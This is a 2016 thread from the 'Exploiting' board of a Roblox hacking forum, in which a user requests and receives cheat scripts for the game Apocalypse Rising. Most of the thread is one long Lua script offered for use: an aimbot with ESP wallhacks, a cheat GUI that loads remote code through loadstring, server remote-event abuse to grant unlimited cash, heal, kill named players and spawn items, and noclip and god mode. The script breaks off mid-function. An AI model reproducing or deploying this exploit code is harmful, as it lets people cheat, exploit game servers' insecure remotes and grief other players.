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- V3rmillion
- Apocalypse Rising Scripts Request. - Printable Version
- +- V3rmillion (https://v3rmillion.net)
- +-- Forum: Exploiting (https://v3rmillion.net/forumdisplay.php?fid=7)
- +--- Forum: Roblox (https://v3rmillion.net/forumdisplay.php?fid=10)
- +--- Thread: Apocalypse Rising Scripts Request. (/showthread.php?tid=92026)
- Apocalypse Rising Scripts Request. - Jack - 07-05-2016
- I've been looking for some Script/Loadstrings for apocalypse rising. Everyone I ask treats me like an Asshole lol.. Anyways, I hope someone can supply me with a few. I don't care if they're leaked.
- RE: Apocalypse Rising Scripts Request. - Frosty704Reborn - 07-05-2016
- here u go homie http://pastebin.com/sJz1byWE
- RE: Apocalypse Rising Scripts Request. - XxBillyTheNoscoperxX - 07-05-2016
- Check my past like 10 threads
- your welcome bb
- RE: Apocalypse Rising Scripts Request. - Jack - 07-05-2016
- (07-05-2016, 06:14 PM)Frosty704Reborn Wrote: here u go homie http://pastebin.com/sJz1byWE
- What does that do?
- RE: Apocalypse Rising Scripts Request. - XxBillyTheNoscoperxX - 07-05-2016
- (07-05-2016, 06:19 PM)Jack Wrote:
- (07-05-2016, 06:14 PM)Frosty704Reborn Wrote: here u go homie http://pastebin.com/sJz1byWE
- What does that do?
- just check out my threads <3 (I have more on the way)
- RE: Apocalypse Rising Scripts Request. - Jack - 07-05-2016
- (07-05-2016, 06:30 PM)XxBillyTheNoscoperxX Wrote:
- (07-05-2016, 06:19 PM)Jack Wrote:
- (07-05-2016, 06:14 PM)Frosty704Reborn Wrote: here u go homie http://pastebin.com/sJz1byWE
- What does that do?
- just check out my threads <3 (I have more on the way)
- Ok
- RE: Apocalypse Rising Scripts Request. - PancakeSloth - 07-05-2016
- Code:
- function aimbot()
- --Aimbot
- print("Key to toggle esp is V.")
- print("Aim-key is Left-Alt.")
- ENABLED = false
- PLAYER = game.Players.LocalPlayer
- MOUSE = PLAYER:GetMouse()
- CC = game.Workspace.CurrentCamera
- _G.FREE_FOR_ALL = true
- _G.BIND = 52
- _G.AIM_AT = 'Head'
- local player = game.Players.LocalPlayer
- local esp = false
- local track = false
- function Create(base, team)
- local bb = Instance.new("BillboardGui",player.PlayerGui)
- bb.Adornee = base
- bb.ExtentsOffset = Vector3.new(0,1,0)
- bb.AlwaysOnTop = true
- bb.Size = UDim2.new(0,5,0,5)
- bb.StudsOffset = Vector3.new(0,1,0)
- bb.Name = "tracker"
- local frame = Instance.new("Frame",bb)
- frame.ZIndex = 10
- frame.BackgroundTransparency = 0.3
- frame.Size = UDim2.new(1,0,1,0)
- frame.Position = UDim2.new(0,0,0)
- frame.Transparency = 1
- local txtlbl = Instance.new("TextLabel",bb)
- txtlbl.ZIndex = 10
- txtlbl.Text = (string.upper(base.Parent.Name))
- txtlbl.BackgroundTransparency = 1
- txtlbl.Position = UDim2.new(0,0,0,-35)
- txtlbl.Size = UDim2.new(1,0,10,0)
- txtlbl.Font = "SourceSansBold"
- txtlbl.FontSize = "Size10"
- txtlbl.TextStrokeTransparency = 0.5
- local txtlbl2 = Instance.new("TextLabel",bb)
- txtlbl2.ZIndex = 10
- txtlbl2.Text = (math.floor(base.Parent.Humanoid.Health*100)/100)
- txtlbl2.BackgroundTransparency = 1
- txtlbl2.Position = UDim2.new(0,0,0,-25)
- txtlbl2.Size = UDim2.new(1,0,10,0)
- txtlbl2.Font = "SourceSansBold"
- txtlbl2.FontSize = "Size10"
- txtlbl2.TextStrokeTransparency = 0.5
- if team then
- txtlbl.TextColor3 = Color3.new(255,0,0)
- txtlbl2.TextColor3 = Color3.new(255,0,0)
- frame.BackgroundColor3 = Color3.new(255,0,0)
- elseif base.Parent.Name == "friend" or base.Parent.Name == "friend2" then
- txtlbl.TextColor3 = Color3.new(0,255,0)
- txtlbl2.TextColor3 = Color3.new(0,255,0)
- frame.BackgroundColor3 = Color3.new(0,255,0)
- txtlbl.Text = "FRIEND"
- txtlbl.FontSize = "Size14"
- txtlbl2.FontSize = "Size14"
- elseif base.Parent.Name == game.Players.LocalPlayer.Name then
- txtlbl2.Transparency = 1
- txtlbl.Transparency = 1
- frame.Transparency = 1
- else
- txtlbl.TextColor3 = Color3.new(255,0,0)
- txtlbl2.TextColor3 = Color3.new(255,0,0)
- frame.BackgroundColor3 = Color3.new(255,0,0)
- end
- end
- function Find()
- Clear()
- track = true
- spawn(function()
- while wait() do
- if track then
- Clear()
- for _,v in pairs(game.Players:players()) do
- if v.Character and v.Character.Head then
- Create(v.Character.Head, false)
- end
- end
- end
- end
- wait(1)
- end)
- end
- function Clear()
- for _,v in pairs(player.PlayerGui:children()) do
- if v.Name == "tracker" and v:isA("BillboardGui") then
- v:Destroy()
- end
- end
- end
- mouse=game.Players.LocalPlayer:GetMouse()
- mouse.keyDown:connect(function(key)
- if key == "v" then
- if not esp then
- Find()
- print("ESP ENABLED")
- esp = true
- else
- Clear()
- track = false
- print("ESP DISABLED")
- esp = false
- end
- end
- end)
- --aimbot
- function GetNearestPlayerToMouse()
- local PLAYERS = {}
- local PLAYER_HOLD = {}
- local DISTANCES = {}
- for i, v in pairs(game.Players:GetPlayers()) do
- if v ~= PLAYER then
- table.insert(PLAYERS, v)
- end
- end
- for i, v in pairs(PLAYERS) do
- if _G.FREE_FOR_ALL == false then
- if v and (v.Character) ~= nil and v.TeamColor ~= PLAYER.TeamColor then
- local AIM = v.Character:FindFirstChild(_G.AIM_AT)
- if AIM ~= nil then
- local DISTANCE = (AIM.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
- local RAY = Ray.new(game.Workspace.CurrentCamera.CoordinateFrame.p, (MOUSE.Hit.p - CC.CoordinateFrame.p).unit * DISTANCE)
- local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
- local DIFF = math.floor((POS - AIM.Position).magnitude)
- PLAYER_HOLD[v.Name .. i] = {}
- PLAYER_HOLD[v.Name .. i].dist = DISTANCE
- PLAYER_HOLD[v.Name .. i].plr = v
- PLAYER_HOLD[v.Name .. i].diff = DIFF
- table.insert(DISTANCES, DIFF)
- end
- end
- elseif _G.FREE_FOR_ALL == true then
- local AIM = v.Character:FindFirstChild(_G.AIM_AT)
- if AIM ~= nil then
- local DISTANCE = (AIM.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
- local RAY = Ray.new(game.Workspace.CurrentCamera.CoordinateFrame.p, (MOUSE.Hit.p - CC.CoordinateFrame.p).unit * DISTANCE)
- local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
- local DIFF = math.floor((POS - AIM.Position).magnitude)
- PLAYER_HOLD[v.Name .. i] = {}
- PLAYER_HOLD[v.Name .. i].dist = DISTANCE
- PLAYER_HOLD[v.Name .. i].plr = v
- PLAYER_HOLD[v.Name .. i].diff = DIFF
- table.insert(DISTANCES, DIFF)
- end
- end
- end
- if unpack(DISTANCES) == nil then
- return false
- end
- local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))
- if L_DISTANCE > 20 then
- return false
- end
- for i, v in pairs(PLAYER_HOLD) do
- if v.diff == L_DISTANCE then
- return v.plr
- end
- end
- return false
- end
- local TRACK = false
- MOUSE.KeyDown:connect(function(KEY)
- KEY = KEY:lower():byte()
- if KEY == _G.BIND then
- ENABLED = true
- end
- end)
- MOUSE.KeyUp:connect(function(KEY)
- KEY = KEY:lower():byte()
- if KEY == _G.BIND then
- ENABLED = false
- end
- end)
- game:GetService('RunService').RenderStepped:connect(function()
- if ENABLED then
- local TARGET = GetNearestPlayerToMouse()
- if TARGET.Name == "Whitelist kid here" or TARGET.Name == "second whitelist kid here" then
- else
- if (TARGET ~= false) then
- local AIM = TARGET.Character:FindFirstChild(_G.AIM_AT)
- if AIM then
- CC.CoordinateFrame = CFrame.new(CC.CoordinateFrame.p, AIM.CFrame.p)
- end
- end
- end
- end
- end)
- end
- --Loadstrings
- function justice()
- --[[
- Justice v.2.1
- Created by RustehBusteh (Donald J Trump), thank's for using! :)
- --]]
- --[[ VALUES ]]--
- VERSION = "2.1"
- --[[ SUPPORTED GAMES ]]--
- LasVegas = 163865146
- PhantomForces = 292439477
- ApocRisingReimagined = 237590657
- ApocRisingReborn = 237590761
- --EpicMiniGames = ""
- --[[ GAME DETECTOR ]] --
- if game.PlaceId == LasVegas then
- game_Supported = "YES"
- elseif game.PlaceId == PhantomForces then
- game_Supported = "YES"
- elseif game.PlaceId == ApocRisingReimagined then
- game_Supported = "YES"
- elseif game.PlaceId == ApocRisingReborn then
- game_Supported = "YES"
- --elseif game.PlaceId == EpicMiniGames then
- --game_Supported = "YES"
- else
- game_Supported = "NO"
- end
- Asset123 = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
- Game_name = Asset123.Name
- --[[ GUI CREATING ]]--
- game:GetObjects("rbxassetid://378228753")[1].Parent = game.CoreGui
- wait(1)
- --
- MainGui = game.CoreGui.JusticeGui.MainGui
- GameGui = game.CoreGui.JusticeGui.GameGui
- CustomGui = game.CoreGui.JusticeGui.CustomGui
- ApocGui = game.CoreGui.JusticeGui.ApocGui
- OpenGui = game.CoreGui.JusticeGui.Open
- -- NotSupportedGui = game.CoreGui.JusticeGui.NotSupported
- --[[ INVISIBLE AND VISIBLE GUI FUNCTIONS ]] --
- function make_gui_visible(Gui)
- Gui.Position = UDim2.new(.5,-200,.5,-100)
- Gui.Visible = true
- end
- function make_gui_invisible(Gui)
- Gui.Position = UDim2.new(999,999,999,999)
- Gui.Visible = false
- end
- make_gui_invisible(MainGui)
- make_gui_invisible(GameGui)
- make_gui_invisible(CustomGui)
- make_gui_invisible(ApocGui)
- OpenGui.Visible = false
- -- make_gui_invisible(NotSupportedGui)
- --[[ GUI EDITING ]]--
- -- WELCOME GUI
- MainGui.Welcome.Text = ("Welcome, " ..game.Players.LocalPlayer.Name.. "!")
- MainGui.Title.Text = ("Justice v." ..VERSION)
- MainGui.Game.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- MainGui.GameSupported.Text = ("Game Supported: " ..game_Supported)
- -- LOADING GUI
- GameGui.Game.Text = ("Welcome, " ..game.Players.LocalPlayer.Name.. "!")
- GameGui.Log1.Text = ""
- GameGui.Log2.Text = ""
- GameGui.Log3.Text = ""
- GameGui.Log4.Text = ""
- -- CUSTOM GUI
- CustomGui.Page1.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- CustomGui.Page2.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- CustomGui.Page1.Button1.Text = ""
- CustomGui.Page1.Button2.Text = ""
- CustomGui.Page1.Button3.Text = ""
- CustomGui.Page1.Button4.Text = ""
- CustomGui.Page1.Button5.Text = ""
- CustomGui.Page1.Button6.Text = ""
- CustomGui.Page1.Button7.Text = ""
- CustomGui.Page1.Button8.Text = ""
- CustomGui.Page2.Button1.Text = ""
- CustomGui.Page2.Button2.Text = ""
- CustomGui.Page2.Button3.Text = ""
- CustomGui.Page2.Button4.Text = ""
- CustomGui.Page2.Button5.Text = ""
- CustomGui.Page2.Button6.Text = ""
- CustomGui.Page2.Button7.Text = ""
- CustomGui.Page2.Button8.Text = ""
- -- APOC GUI
- ApocGui.Page1.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- ApocGui.Page2.Welcome.Text = ("Game: " ..Game_name.. " // ID: " ..game.PlaceId)
- ApocGui.Page1.Button1.Text = ""
- ApocGui.Page1.Button2.Text = ""
- ApocGui.Page1.Button3.Text = ""
- ApocGui.Page1.Button4.Text = ""
- ApocGui.Page1.Button5.Text = ""
- ApocGui.Page1.Button6.Text = ""
- ApocGui.Page1.Button7.Text = ""
- ApocGui.Page1.Button8.Text = ""
- ApocGui.Page1.Custom.Text = "LOCALPLAYER"
- ApocGui.Page2.Button1.Text = ""
- ApocGui.Page2.Button2.Text = ""
- ApocGui.Page2.Button3.Text = ""
- ApocGui.Page2.Button4.Text = ""
- ApocGui.Page2.Button5.Text = ""
- ApocGui.Page2.Button6.Text = ""
- ApocGui.Page2.Custom.Text = "SERVER"
- -- [[ OPEN GUI FUNCTIONS ]]--
- OpenGui.MouseButton1Down:connect(function()
- OpenGui.Visible = false
- wait(.2)
- if game.PlaceId == ApocRisingReimagined or game.PlaceId == ApocRisingReborn then
- make_gui_visible(ApocGui)
- else
- make_gui_visible(CustomGui)
- end
- end)
- -- [[ MAIN AND GAME FUNCTIONS ]] --
- function functionMain_Gui()
- make_gui_visible(MainGui)
- MainGui.Open.MouseButton1Down:connect(function()
- MainGui:Destroy()
- functionGame_Gui()
- end)
- MainGui.Close.MouseButton1Down:connect(function()
- game.CoreGui.JusticeGui:Destroy() -- rip
- end)
- end
- function functionGame_Gui()
- make_gui_visible(GameGui)
- GameGui.Close.Visible = false
- GameGui.Close.MouseButton1Down:connect(function()
- if game_Supported == "YES" then
- GameGui:Destroy()
- if game.PlaceId == ApocRisingReimagined or game.PlaceId == ApocRisingReborn then
- functionApocGui()
- else
- functionCustomGui()
- end
- else
- -- make_gui_visible(NotSupported)
- GameGui:Destroy()
- end
- end)
- if game_Supported == "YES" then
- wait(1)
- GameGui.Log1.Text = "Game supported!"
- wait(1)
- GameGui.Log1.Text = "Loaded custom commands!"
- GameGui.Log2.Text = "Game supported!"
- wait(1)
- GameGui.Close.Text = "CUSTOM COMMANDS"
- else
- wait(1)
- GameGui.Log1.Text = "Game not supported!"
- wait(1)
- end
- GameGui.Close.Visible = true
- end
- -- [[ CUSTOM GUI FUNCTIONS ]] --
- function functionCustomGui()
- make_gui_visible(CustomGui)
- CustomGui.Page1.Close.MouseButton1Down:connect(function()
- make_gui_invisible(CustomGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- CustomGui.Page2.Close.MouseButton1Down:connect(function()
- make_gui_invisible(CustomGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- CustomGui.Page1.Page.Visible = false
- CustomGui.Page2.Visible = false
- if game.PlaceId == LasVegas then
- CustomGui.Page1.Button1.Text = "Give 10 Million Cash"
- CustomGui.Page1.Button2.Text = ""
- CustomGui.Page1.Button3.Text = ""
- CustomGui.Page1.Button4.Text = ""
- CustomGui.Page1.Button5.Text = ""
- CustomGui.Page1.Button6.Text = ""
- CustomGui.Page1.Button7.Text = ""
- CustomGui.Page1.Button8.Text = ""
- CustomGui.Page1.Button1.MouseButton1Down:connect(function()
- local CASH_AMOUNT = math.huge
- game.ReplicatedStorage.Events.MoneyRequest:FireServer(CASH_AMOUNT, 'Cash', true)
- end)
- elseif game.PlaceId == PhantomForces then
- CustomGui.Page1.Button1.Text = "Load PhantomX Gui"
- CustomGui.Page1.Button1.MouseButton1Down:connect(function()
- game:GetObjects('rbxassetid://311949717')[1].Parent = game.CoreGui
- local PhantomX = game.CoreGui:WaitForChild('PhantomX')
- local script = Instance.new('Script', game.CoreGui)
- script.Name = ''
- script.Source = PhantomX.CONTROL.Source
- loadstring(script.Source)()
- loadstring(game:GetObjects("rbxassetid://298918246")[1].Source)()
- end)
- --elseif game.PlaceId == EpicMiniGames then
- end
- end
- -- [[ APOCALYPSE RISING ]] --
- function LocalPlayerGod()
- _G.lpgod = true
- local ChangeProp = game.Lighting.Remote.ChangeProperty
- local Plr = game.Players.LocalPlayer
- while _G.lpgod == true and wait() do -- health hack
- ChangeProp:FireServer(Plr.Character.Humanoid, "Health", 100)
- end
- end
- function NoLocalPlayerGod()
- _G.lpgod = false
- end
- function UnlimitedHunger()
- _G.unlimhunger = true
- while _G.unlimhunger == true and wait(2) do
- game.Players.LocalPlayer.playerstats.Hunger.Value = 100
- end
- end
- function UnlimitedThirst()
- _G.unlimthirst = true
- while _G.unlimthirst == true and wait(2) do
- game.Players.LocalPlayer.playerstats.Thirst.Value = 100
- end
- end
- -- [[ APOCALYPSE GUI FUNCTIONS ]] --
- function functionApocGui()
- make_gui_visible(ApocGui)
- if game.PlaceId == ApocRisingReimagined or game.PlaceId == ApocRisingReborn then
- ApocGui.Page1.Visible = true
- ApocGui.Page2.Visible = false
- -- CLOSE
- ApocGui.Page1.Close.MouseButton1Down:connect(function()
- make_gui_invisible(ApocGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- ApocGui.Page2.Close.MouseButton1Down:connect(function()
- make_gui_invisible(ApocGui)
- wait(.2)
- OpenGui.Visible = true
- end)
- -- NEXT/BACK
- ApocGui.Page1.Page.Text = "NEXT"
- ApocGui.Page1.Page.MouseButton1Down:connect(function()
- ApocGui.Page1.Visible = false
- ApocGui.Page2.Visible = true
- end)
- ApocGui.Page2.Page.Text = "BACK"
- ApocGui.Page2.Page.MouseButton1Down:connect(function()
- ApocGui.Page1.Visible = true
- ApocGui.Page2.Visible = false
- end)
- ApocGui.Page1.Button1.Text = "SEMI-GOD"
- ApocGui.Page1.Button2.Text = "UNSEMI-GOD"
- ApocGui.Page1.Button3.Text = "UNLIMITED HUNGER"
- ApocGui.Page1.Button4.Text = "UNLIMITED THIRST"
- ApocGui.Page1.Button5.Text = "MK 17 KIT"
- ApocGui.Page1.Button6.Text = "G36K KIT"
- ApocGui.Page1.Button7.Text = "FAL KIT"
- ApocGui.Page1.Button8.Text = "CAR REPAIR KIT"
- ApocGui.Page2.Button1.Text = "SEMI-GOD"
- ApocGui.Page2.Button2.Text = "N/A"
- ApocGui.Page2.Button3.Text = "KILL"
- ApocGui.Page2.Button4.Text = "N/A"
- ApocGui.Page2.Button5.Text = "GOTO(WIP)"
- ApocGui.Page2.Button6.Text = "BRING(WIP)"
- ApocGui.Page1.Button1.MouseButton1Down:connect(function()
- LocalPlayerGod()
- print("lp godded")
- end)
- ApocGui.Page1.Button2.MouseButton1Down:connect(function()
- NoLocalPlayerGod()
- print("lp ungodded")
- end)
- ApocGui.Page1.Button3.MouseButton1Down:connect(function()
- UnlimitedHunger()
- print("unlimited hunger")
- end)
- ApocGui.Page1.Button4.MouseButton1Down:connect(function()
- UnlimitedThirst()
- print "unlimited thirst"
- end)
- ApocGui.Page1.Button5.MouseButton1Down:connect(function()
- local function s(n)
- local new = game.Lighting.LootDrops[n]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- t ={"ACOG","Mk 17","Compass","CBJ-MS","TEC9Ammo32","TEC9Ammo32","Sabre","MilitaryPackBlack","Binoculars","Detonator","Suppressor9","Suppressor762","Grip","Reflex","GPS","Map","C4","C4","Entrencher","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50"}
- for i = 1, #t do
- s(t[i])
- end
- print "mk 17 kit"
- end)
- ApocGui.Page1.Button6.MouseButton1Down:connect(function()
- local function AA(BB)
- local new = game.Lighting.LootDrops[BB]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- CC ={"ACOG","G36K","Compass","CBJ-MS","TEC9Ammo32","TEC9Ammo32","Sabre","MilitaryPackBlack","Binoculars","Detonator","Suppressor9","Suppressor556","Grip","Reflex","GPS","Map","C4","C4","Entrencher","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100","STANAGAmmo100",}
- for DD = 1, #CC do
- AA(CC[DD])
- end
- end)
- ApocGui.Page1.Button7.MouseButton1Down:connect(function()
- local function Ab(Ac)
- local new = game.Lighting.LootDrops[Ac]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- Aa ={"ACOG","FAL","Compass","CBJ-MS","TEC9Ammo32","TEC9Ammo32","Sabre","MilitaryPackBlack","Binoculars","Detonator","Suppressor9","Suppressor762","Grip","Reflex","GPS","Map","C4","C4","Entrencher","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50","M14Ammo50"}
- for Ad = 1, #Aa do
- Ab(Aa[Ad])
- end
- end)
- ApocGui.Page1.Button8.MouseButton1Down:connect(function()
- local function Bc(Bb)
- local new = game.Lighting.LootDrops[Bb]:Clone()
- new.Parent = workspace
- new:MoveTo(game.Players.LocalPlayer.Character.Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- Tt ={"ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","ReinforcedWheel","BallisticGlass","ArmorPlates","FuelTank","EngineParts","ScrapMetal","JerryCan","JerryCan"}
- for cC = 1, #Tt do
- Bc(Tt[cC])
- end
- end)
- ApocGui.Page2.Username.Text = "Username (Exact)"
- ApocGui.Page2.Button1.MouseButton1Down:connect(function()
- local input = ApocGui.Page2.Username.Text
- playr = game.Players:FindFirstChild(input,true)
- while wait() do
- game.Lighting.Remote.ChangeProperty:FireServer(playr.Character.Humanoid, "Health", 100)
- end
- end)
- ApocGui.Page2.Button2.MouseButton1Down:connect(function()
- print("n/a")
- end)
- ApocGui.Page2.Button3.MouseButton1Down:connect(function()
- local input = ApocGui.Page2.Username.Text
- playr = game.Players:FindFirstChild(input,true)
- game.Lighting.Remote.AddDamage:FireServer(playr.Character.Humanoid,100)
- end)
- ApocGui.Page2.Button4.MouseButton1Down:connect(function()
- end)
- ApocGui.Page2.Button5.MouseButton1Down:connect(function()
- end)
- ApocGui.Page2.Button6.MouseButton1Down:connect(function()
- end)
- end
- end
- -- [[ RUN ]] --
- functionMain_Gui()
- end
- function spawner()
- wait(1)
- print("Version 3.1")
- game:GetObjects("rbxassetid://421423214")[1].Parent = game.CoreGui
- wait(1)
- local GUI = game.CoreGui.ApocGui.BackgroundFrame.DragFrame.Main.BackgroundFrame.Vals
- GUI.Spawn.MouseButton1Down:connect(function()
- local Text1 = GUI:FindFirstChild("Username").Text
- local Text2 = GUI:FindFirstChild("SlotNumber").Text
- local Text3 = GUI:FindFirstChild("ItemID").Text
- local Player = game.Players:FindFirstChild(Text1, true)
- local SlotNumber = "slot" .. Text2
- local ItemId = tonumber(Text3)
- if ItemId == 4016 then
- game.Lighting.Remote.AddObject:FireServer(Player.playerstats.slots.slotbackpack, 4016)
- print("Backpack Spawned")
- else
- game.Lighting.Remote.AddObject:FireServer(Player.playerstats.slots:FindFirstChild(SlotNumber), ItemId)
- print("Item Spawned")
- end
- -- game.Lighting.Remote.AddObject:FireServer(game.Players.LocalPlayer.playerstats.slots.slot1, 53)
- end)
- -- loadstring(game:GetObjects("rbxassetid://386866428")[1].Source)()
- -- http://www.roblox.com/item.aspx?id=386713473
- --Loader-- http://www.roblox.com/item.aspx?id=386866428
- --game.Lighting.Remove.AddObject:FireServer(Player.playerstats.slots:FindFirstChild("slotbackpack"), ItemId)
- end
- function secondgod()
- if game.CoreGui:FindFirstChild('APOC') then
- game.CoreGui.APOC:Destroy()
- end
- game:GetObjects('rbxassetid://291330215')[1].Parent = game.CoreGui
- wait(0.1)
- local Player = game.Players.LocalPlayer
- local apocGUI = game.CoreGui.APOC
- local MAIN = apocGUI.MAIN
- local Open = apocGUI.Open
- local Exit = MAIN.Exit
- Open:TweenPosition(UDim2.new(0,0,0,380), 'InOut', 'Quad', 0.5, true)
- local Clip = true
- local ESP = false
- local Floating = false
- local Stamina = false
- local BoostReady = true
- local GodMode = false
- -- Open and Exit --
- Open.MouseButton1Down:connect(function()
- Open.Active = false
- Exit.Active = true
- Open:TweenPosition(UDim2.new(0,-30,0,380), 'InOut', 'Quad', 0.5, true)
- MAIN:TweenPosition(UDim2.new(0,10,0,420), 'InOut', 'Quad', 0.5, true)
- end)
- Exit.MouseButton1Down:connect(function()
- Open.Active = true
- Exit.Active = false
- Open:TweenPosition(UDim2.new(0,0,0,380), 'InOut', 'Quad', 0.5, true)
- MAIN:TweenPosition(UDim2.new(0,-230,0,420), 'InOut', 'Quad', 0.5, true)
- end)
- -- ESP --
- local track = false
- function Create(base, team)
- local espMAIN = apocGUI.ESP:Clone()
- local F = espMAIN.DOT
- espMAIN.Parent = Player.PlayerGui
- espMAIN.Adornee = base
- F.Visible = true
- end
- function Clear()
- for _,v in pairs(Player.PlayerGui:children()) do
- if v.Name == "ESP" and v:IsA("BillboardGui") then
- v:Destroy()
- end
- end
- end
- function Find()
- Clear()
- track = true
- spawn(function()
- while wait() do
- if track then
- Clear()
- for i,v in pairs(game.Players:players()) do
- if v.Character and v.Character.Head then
- Create(v.Character.Head, true)
- end
- end
- end
- wait(1)
- end
- end)
- end
- -- Night Vision --
- function NightVision()
- local nvGUI = Instance.new('ScreenGui', Player.PlayerGui)
- nvGUI.Name = 'NightVision'
- local nvMAIN = Instance.new('TextLabel', nvGUI)
- nvMAIN.Name = 'MAIN'
- nvMAIN.BackgroundColor = BrickColor.new(0,1,0)
- nvMAIN.BackgroundTransparency = 0.75
- nvMAIN.BorderSizePixel = 0
- nvMAIN.Size = UDim2.new(1,0,1,0)
- nvMAIN.Text = ''
- for i,v in pairs(game.Players:GetChildren()) do
- if v and v.Character and not (v.Name == '' .. Player.Name) then
- for i,v in pairs(v.Character:GetChildren()) do
- if v:IsA('BasePart') then
- local nvBox = Instance.new('SelectionBox', nvMAIN)
- nvBox.Adornee = v
- nvBox.Color = BrickColor.new('Lime green')
- end
- end
- end
- end
- end
- -- Main Functions --
- -- NoClip --
- MAIN.NoClip.MouseButton1Down:connect(function()
- MAIN.NoClip.Visible = false
- MAIN.Clip.Visible = true
- Clip = false
- wait(1)
- Player.PlayerGui.ChildAdded:connect(function(NC)
- delay(0,function()
- if NC.Name == 'NC' then
- NC:Destroy()
- end
- end)
- end)
- game:GetService('RunService').Stepped:connect(function()
- game.Workspace[Player.Name].Torso.CanCollide = Clip
- game.Workspace[Player.Name].Head.CanCollide = Clip
- end)
- game.Workspace[Player.Name].Torso.Changed:connect(function()
- game.Workspace[Player.Name].Torso.CanCollide = Clip
- game.Workspace[Player.Name].Head.CanCollide = Clip
- end)
- end)
- MAIN.Clip.MouseButton1Down:connect(function()
- MAIN.Clip.Visible = false
- MAIN.NoClip.Visible = true
- Clip = true
- end)
- -- ESP --
- MAIN.ESPF.MouseButton1Down:connect(function()
- MAIN.ESPF.Visible = false
- MAIN.ESPT.Visible = true
- Find()
- ESP = true
- end)
- MAIN.ESPT.MouseButton1Down:connect(function()
- MAIN.ESPT.Visible = false
- MAIN.ESPF.Visible = true
- Clear()
- track = false
- ESP = false
- end)
- -- Floating --
- MAIN.FloatF.MouseButton1Down:connect(function()
- MAIN.FloatF.Visible = false
- MAIN.FloatT.Visible = true
- Floating = true
- local Float = apocGUI.Float:Clone()
- Float.Parent = Player.Character
- Float.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0)
- spawn(function()
- while wait(0.1) do
- if Player.Character:FindFirstChild('Float') then
- Float.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0)
- else
- break
- end
- end
- end)
- end)
- MAIN.FloatT.MouseButton1Down:connect(function()
- MAIN.FloatT.Visible = false
- MAIN.FloatF.Visible = true
- Floating = false
- if Player.Character:FindFirstChild('Float') then
- Player.Character.Float:Destroy()
- end
- end)
- -- Thirst --
- MAIN.Thirst.MouseButton1Down:connect(function()
- Player.playerstats.Thirst.Value = MAIN.Thirst.TNumber.Text
- end)
- -- Hunger --
- MAIN.Hunger.MouseButton1Down:connect(function()
- Player.playerstats.Hunger.Value = MAIN.Hunger.HNumber.Text
- end)
- -- Health --
- MAIN.Health.MouseButton1Down:connect(function()
- Player.Character.Humanoid.Health = MAIN.Hunger.HNumber.Text
- end)
- -- Stamina --
- MAIN.StaminaF.MouseButton1Down:connect(function()
- MAIN.StaminaF.Visible = false
- MAIN.StaminaT.Visible = true
- Stamina = true
- while wait() do
- if Stamina == true then
- Player.Backpack.GlobalFunctions.Stamina.Value = 100
- end
- end
- end)
- MAIN.StaminaT.MouseButton1Down:connect(function()
- MAIN.StaminaT.Visible = false
- MAIN.StaminaF.Visible = true
- Stamina = false
- end)
- -- Boost --
- MAIN.Boost.MouseButton1Down:connect(function()
- MAIN.FloatF.Visible = true
- MAIN.FloatT.Visible = false
- Floating = false
- if Player.Character:FindFirstChild('Float') then
- Player.Character.Float:Destroy()
- end
- if BoostReady == true then
- Player.Character.HumanoidRootPart.Velocity = Player.Character.HumanoidRootPart.CFrame.lookVector * 500
- BoostReady = false
- MAIN.Boost.Text = '5'
- wait(1)
- MAIN.Boost.Text = '4'
- wait(1)
- MAIN.Boost.Text = '3'
- wait(1)
- MAIN.Boost.Text = '2'
- wait(1)
- MAIN.Boost.Text = '1'
- wait(1)
- BoostReady = true
- MAIN.Boost.Text = 'Boost'
- end
- end)
- -- GodMode --
- MAIN.GodModeF.MouseButton1Down:connect(function()
- MAIN.GodModeF.Visible = false
- MAIN.GodModeT.Visible = true
- GodMode = true
- if GodMode == true then
- repeat wait()
- Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
- wait()
- Player.playerstats.Health.Value = Player.Character.Humanoid.Health
- until GodMode == false
- end
- end)
- MAIN.GodModeT.MouseButton1Down:connect(function()
- MAIN.GodModeT.Visible = false
- MAIN.GodModeF.Visible = true
- GodMode = false
- end)
- -- NoGrav --
- MAIN.NoGrav.MouseButton1Down:connect(function()
- MAIN.NoGrav.Visible = false
- MAIN.Grav.Visible = true
